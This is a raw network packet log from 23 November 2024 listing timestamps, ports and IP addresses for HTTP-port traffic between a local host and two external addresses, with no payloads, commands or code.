Nov 23, 2024 13:28:32.227360964 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.227365971 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.227431059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.228351116 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.228398085 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.228421926 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.228501081 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.229342937 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.229441881 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.229492903 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.230339050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.230464935 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.230513096 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.231373072 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.231424093 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.231468916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.232388973 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.232438087 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.232471943 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.232503891 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.233419895 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.233472109 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.233491898 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.233550072 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.234452009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.234575987 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.234633923 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.235481977 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.235531092 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.235570908 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.235641956 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.236567974 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.236639023 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.236695051 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.237524986 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.237639904 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.237694025 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.238564968 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.238661051 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.238714933 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.239587069 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.239635944 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.239706039 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.239826918 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.240607023 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.240681887 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.240716934 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.240773916 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.241647005 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.241699934 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.241743088 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.241878033 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.242666960 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.242707014 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.242733002 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.242765903 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.243612051 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.243702888 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.243716002 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.243752003 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.243761063 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.243880987 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.244743109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.244790077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.244869947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.244911909 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.245219946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.245742083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.245790005 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.245865107 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.246170044 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.246877909 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.246936083 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.247056007 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.247123003 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.248156071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.248192072 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.248229980 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.248255968 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.248846054 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.248950958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.248996973 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.249030113 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.249876976 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.249937057 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.249975920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.250035048 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.250868082 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.250921011 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.250968933 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.251022100 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.251903057 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.251964092 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.251966953 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.252008915 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.252942085 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.253001928 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.253050089 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.253093958 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.253952980 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.254010916 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.254055023 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.254148960 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.254980087 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.255033016 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.255073071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.255121946 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.256026030 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.256150007 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.256202936 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.257092953 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.257145882 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.257149935 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.257322073 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.258105040 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.258250952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.258258104 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.258289099 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.259145021 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.259234905 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.259279013 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.260138988 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.260312080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.260354042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.261187077 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.261235952 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.261276960 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.261517048 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.262186050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.262237072 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.262306929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.262356043 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.263210058 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.263344049 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.263379097 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.263379097 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.264229059 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.264364958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.264400005 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.264432907 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.265271902 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.265379906 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.265429974 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.266319036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.266495943 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.266546965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.267375946 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.267431021 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.267436981 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.267993927 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.268352985 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.268408060 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.268452883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.268501043 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.269377947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.269501925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.269556999 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.270414114 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.270538092 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.270613909 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.270663977 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.271436930 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.271511078 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.271519899 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.271562099 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.272521973 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.272545099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.272594929 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.273420095 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.273865938 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.286252022 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.286318064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.286366940 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.287833929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.287914038 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.287933111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.326211929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.326222897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.326273918 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.328506947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.328552961 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.328613997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.330375910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.330459118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.330496073 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.339334965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.339448929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.339495897 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.341013908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.341705084 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.370773077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.370871067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.370935917 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.372468948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.372481108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.372540951 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.411806107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.411817074 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.411874056 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.413084984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.413192034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.413856983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.415925980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.415982008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.416019917 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.420793056 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.420890093 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.420950890 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.421268940 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.421545982 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.421606064 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.421650887 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.421700001 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.422532082 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.422638893 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.422710896 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.423599005 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.423650980 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.423687935 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.423825026 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.424190044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.424300909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.424341917 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.424590111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.424649954 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.424726009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.424777985 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.425652027 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.425704956 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.425745010 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.425795078 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.425892115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.426657915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.426753998 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.426765919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.426817894 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.427675009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.427723885 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.427810907 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.427860022 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.428828955 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.428873062 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.428883076 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.428926945 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.429759026 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.429801941 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.429841042 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.429884911 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.430742979 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.430787086 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.430936098 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.430979967 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.431782007 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.431827068 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.431889057 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.431934118 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.432804108 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.432848930 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.432909012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.432946920 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.433829069 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.433871984 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.433916092 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.433959961 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.434904099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.434946060 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.434978962 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.435020924 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.435878992 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.435921907 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.436033010 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.436078072 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.436924934 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.436970949 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.437007904 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.437052011 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.437982082 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.438024998 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.438061953 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.438133001 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.438990116 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.439033031 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.439106941 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.439150095 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.439992905 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.440037012 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.440041065 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.440077066 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.441025019 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.441068888 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.441159964 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.441204071 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.442039013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.442101955 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.442140102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.442183018 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.443252087 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.443296909 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.443335056 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.443380117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.444233894 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.444277048 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.444298983 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.444340944 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.445161104 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.445207119 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.445214987 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.445264101 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.446243048 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.446290016 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.446321964 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.446366072 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.447175026 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.447217941 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.447454929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.447505951 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.448452950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.448493958 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.448525906 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.448569059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.449237108 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.449279070 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.449347973 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.449389935 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.450272083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.450315952 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.450377941 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.450418949 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.451283932 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.451327085 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.451407909 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.451448917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.452341080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.452373981 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.452385902 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.452409983 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.453349113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.453392982 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.453473091 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.453517914 CET	49777	80	192.168.2.6	185.215.113.16
